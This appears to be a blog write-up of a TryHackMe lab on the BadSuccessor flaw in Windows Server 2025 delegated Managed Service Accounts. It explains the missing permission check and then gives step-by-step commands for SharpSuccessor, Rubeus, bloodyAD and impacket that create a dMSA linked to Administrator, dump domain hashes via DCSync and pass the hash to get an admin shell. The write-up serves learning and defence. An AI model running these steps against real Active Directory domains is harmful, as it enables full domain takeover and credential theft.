Summary

BadSuccessor — Exploiting delegated Managed Service Accounts in Windows Server 2025 Understanding what is delegated Managed Service Accounts in Windows Server 2025, and how an unpatched system may be exploited for Privilege Escalation in an Active Directory environment In doing a recent HackTheBox room, I came across this relatively new vulnerability of delegated Managed Service Accounts, and wanted to find out more about the BadSuccessor exploit. This TryHackMe room was particularly helpful. Easy as it looked, I ran into many odd errors and took a couple of days troubleshooting and figuring things out. In this article, we will examine:

  • The basics of what delegated Managed Service Accounts is
  • The flaw of missing permission checks in unpatched Windows Server 2025
  • The theory of the exploit
  • Step-by-step PoC exploit using the Tryhackme room, in both Windows and Kali Linux platforms Imagine a large company that uses an automated HR system to manage employee accounts. When an employee leaves the company, their replacement can be set up in the system to take over their role and access permissions. The “BadSuccessor” flaw works like this:
  • The Fake Profile: You are a low-level employee in the company. Using the HR system, you create a brand-new employee account for yourself.
  • The False Claim: During the account setup, there is a field that asks: “Is this account replacing an existing employee?” You select “Yes”, and in the replacement field you type the name of the Chief Financial Officer (CFO). You also check a box that says “Employee transition complete.” - The Lack of Verification: The HR system is programmed to trust whatever is written in the replacement form. It does not verify with HR management or the CFO whether a real replacement is happening.
  • The Result: The system automatically transfers the CFO’s access permissions to your new account, granting you access to sensitive financial systems and executive resources. You didn’t steal the CFO’s password or hack their account; you simply created a new identity and declared yourself the official successor to their position — and the system believed you. Now you have an account with the CFO’s privileges!
  1. The Basics — Delegated Managed Service Accounts To understand the attack, you first have to understand the “tool” being used. Windows Server 2025 introduced Delegated Managed Service Accounts (dMSAs). Traditional service accounts often use static passwords that rarely change, which creates a major security risk. A dMSA allows administrators to transition these legacy accounts into managed service accounts while preserving the permissions and identity that existing services rely on. To make this migration happen, Windows uses two specific “labels” (attributes) on the dMSA object: 1.1. The Predecessor Link (msDS-ManagedAccountPrecededByLink ) This is like a pointer. You create a new dMSA and tell it, “You are the successor to Admin_User_Account.” You do this by putting the name of the Admin account into this attribute. 1.2. The Migration State (msDS-DelegatedMSAState ) This is a status tracker. It tells Windows how far along the migration is. It uses numbers to represent the stage:
  • 0: Not started.
  • 1: In progress.
  • 2: Completed. When the state is set to 2 (Completed), the Windows Domain Controller (the KDC) says: “Okay, the migration is completed. This new dMSA is now the official replacement. I will give this dMSA all the powers and group memberships that the old account used to have.”
  1. The Core Flaw: Missing Permission Checks Now that we know what a dMSA is, we can look at the “crack” in the system. The security flaw isn’t in the dMSA itself, but in how the link is made. Normally, in Active Directory, if you want to change someone else’s account, you need high-level permissions. However, the dMSA introduction created a “logic gap”:
  • Creation Rights: If you are a low-level admin (like a help desk tech), you might have permission to create a new dMSA in a specific folder (OU).
  • Self-Linking: Because you “own” the dMSA you just created, you have the right to edit its attributes.
  • The Oversight: Windows Server 2025 allowed you to write any account name into the msDS-ManagedAccountPrecededByLink attribute of your dMSA. It didn’t check if you actually had permission over the account you were linking to! 2.1 Why this is a problem If I am a low-level user, I can create a dMSA and “link” it to the Domain Administrator. The system sees my dMSA and says: “Oh, I see you’re the successor to the Domain Admin. Since you told me the migration is ‘Complete’ (msDS-DelegatedMSAState attribute = State 2), I’ll just give you all of their permissions.”
  1. The Ticket Request Now we get to the “payoff” — how the attacker actually uses this link to gain control. This happens through Kerberos, the standard authentication protocol for Windows networks. The attacker doesn’t need to know the Domain Admin’s password. They only need to authenticate as the dMSA they created (the “Successor”). Since they created it, they have full control over it. They request a Kerberos Ticket (TGT) for the dMSA. 3.1 The KDC’s Mistake When the Domain Controller (acting as the Key Distribution Center, or KDC) receives this request, it looks at the dMSA object and sees two things:
  • Link: It points to the Domain Admin.
  • State: It is set to 2 (Completed). Because the state is “Completed,” the KDC follows a new rule built into Windows Server 2025: “If a migration is complete, the successor (dMSA) should act as the predecessor (Admin).” 3.2 SID Injection The KDC builds a PAC (Privilege Attribute Certificate) inside the Kerberos ticket.
  • Normally, this PAC would only contain the dMSA’s low-level permissions.
  • But because of the link, the KDC automatically copies the Security Identifiers (SIDs) of the Domain Admin and all their powerful groups (like “Schema Admins” or “Enterprise Admins”) into the dMSA’s ticket. The attacker now holds a digital “badge” that says they are a dMSA, but it has the “stamps” of a Domain Admin on the back, effectively impersonating the Domain Admin.
  1. Privilege Escalation with BadSuccessor — A Proof Of Concept We will now see this exploit in action. Suppose you have already gotten a shell as a low-level AD user. If you are a TryHackMe subscriber, you can try out in this room. 4.1 In Windows: To check for vulnerability, we can use the Get-BadSuccessorOUPermissions.ps1 script. We can also check manually with the following:
  • Domain Controllers: Must be running Windows Server 2025.
  • Target OU: You need CreateChild (or Write / GenericWrite / GenericAll) permissions on an Organizational Unit (OU). This is common for “Account Operators” or delegated IT staff.

Check that DC is running Windows Server 2025

Get-ADDomainController -Filter *

Check your username and groups

whoami /groups

Check all OUs in the AD

Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName

Check who has what rights on an OU

(Get-ACL -Path “AD:\OU=lab,DC=example,DC=com”).access | Select-Object ActiveDirectoryRights,IdentityReference

If your user or group have CreateChild/GenericAll/WriteDACL/WriteOwner,

then likely we can use BadSuccessor exploit

Once we checked that we have the required rights on an OU, we can then use SharpSuccessor tool. It is in C sharp and can be compiled with Visual Studio, or using mono with xbuild in linux, as I did below:

git clone https://github.com/logangoins/SharpSuccessor.git cd SharpSuccessor sudo apt install mono-complete -y xbuild SharpSuccessor.sln /p:Configuration=Release An alternative tool is here, but I have not tested this. Get Indigo Shadow’s stories in your inbox Join Medium for free to get updates from this writer. Here is an overview of the commands of the steps I took using SharpSuccessor:

1. Check the OU that your user has the permissions for BadSuccessor

PS C:\PoC> .\Get-BadSuccessorOUPermissions.ps1

2. Create a dMSA account that is linked to any other privileged account you want (usually Administrator)

PS C:\PoC> .\SharpSuccessor.exe add /path:“ou=LabOU,dc=tryhackme,dc=local” /account:tbyte /name:attacker /impersonate:Administrator

2. (Optional) Verify the account you created

Get-ADObject -Filter ‘name -eq “attacker”’ -Properties *

3. Using Rubeus, get a TGT for your current user

PS C:\PoC> .\Rubeus.exe tgtdeleg /nowrap

3. (Alternative method)

PS C:\PoC> .\Rubeus.exe hash /user:tbyte /password:P@SSw0rd345 /domain:tryhackme.local PS C:\PoC> .\Rubeus.exe asktgt /user:tbyte /aes256: /nowrap

4. Now get a TGT for the dMSA account you created

PS C:\PoC> .\Rubeus.exe asktgs /targetuser:attacker$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:

4. With the TGT, you essentially have the rights of the Administrator!

PS C:\PoC> dir \DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop
Step 1: Check the OU that your user has the permissions for BadSuccessor Step 2: Create a dMSA account that is linked to any other privileged account you want (usually Administrator) Step 3: Using Rubeus, get a TGT for your current user Step 4: Now get a TGT for the dMSA account you created Step 5: With the TGT, you can access the Administrator’s desktop! 4.2 In Linux: You can check if a server is exploitable using netexec: nxc ldap 10.211.101.10 -u tbyte -p ‘P@SSw0rd345’ -d tryhackme.local —dns-server 10.211.101.10 -M badsuccessor To exploit, you can use the bloodyAD tool as below. Another exploit tool can be found here. An overview of the commands I used is as follows:

0. Preparing your Kali Linux with the tools

sudo nano /etc/hosts

Add the following into /etc/hosts:

10.211.101.10 DC-LAB2025-01.tryhackme.local tryhackme.local DC-LAB2025-01>

pipx install bloodyAD

1. Check if our user have the CreateChild rights over any OU

bloodyAD -d tryhackme.local -u ‘tbyte’ -p ‘P@SSw0rd345’ —host DC-LAB2025-01.tryhackme.local get writable —detail

2. Create a dMSA object and saves the TGT as a .ccache

bloodyAD -d tryhackme.local -u ‘tbyte’ -p ‘P@SSw0rd345’ —host DC-LAB2025-01.tryhackme.local add badSuccessor pentest2_dmsa

2. (Optional) Verify the account created

bloodyAD -d tryhackme.local -u tbyte -p ‘P@SSw0rd345’ —host DC-LAB2025-01.tryhackme.local get object ‘pentest2_dmsa$‘

2. (Optional) If account is created, but you didn’t get TGT due to error, get the dMSA TGT

python3 getTGT.py -dc-ip 10.211.101.10 tryhackme.local/tbyte:‘P@SSw0rd345’ export KRB5CCNAME=tbyte.ccache python3 getST.py -k -no-pass -dc-ip 10.211.101.10 -impersonate ‘pentest2_dmsa$’ -self -dmsa ‘tryhackme.local/tbyte’

3. Export the TGT into the environment variable so we can use it

export KRB5CCNAME=pentest2_dmsa_ts.ccache

4. DC sync to get administrator hash

python3 /opt/impacket/examples/secretsdump.py -k -no-pass ‘pentest2_dmsa$‘@DC-LAB2025-01.tryhackme.local

5. Pass the hash to get a shell as Administrator

python3 /opt/impacket/examples/wmiexec.py ‘tryhackme.local/administrator@10.211.101.10’ -hashes :984f755c74xxxxxxxxxxxxxx43976fec Step 1: Check if our user have the CreateChild rights over any OU. Step 2: Create a dMSA object that is linked to ‘Administrator’ account

  • I tried this in the AttackBox on THM and it worked without issue, then tried to replicate it on my own machine, and got an error below.
  • Despite the error, the dMSA account has already been created, as can be verified like below.
  • Get a TGT for your user, and export to KRB5CCNAME python3 getTGT.py -dc-ip 10.211.101.10 tryhackme.local/tbyte:‘P@SSw0rd345’ export KRB5CCNAME=tbyte.ccache
  • Now get a TGT for the dMSA account Step 3: Export the TGT into the environment variable so we can use it Step 4: DC sync to get administrator hash Step 5: Get an administrator shell with Pass-the-hash

By Indigo Shadow

Original Article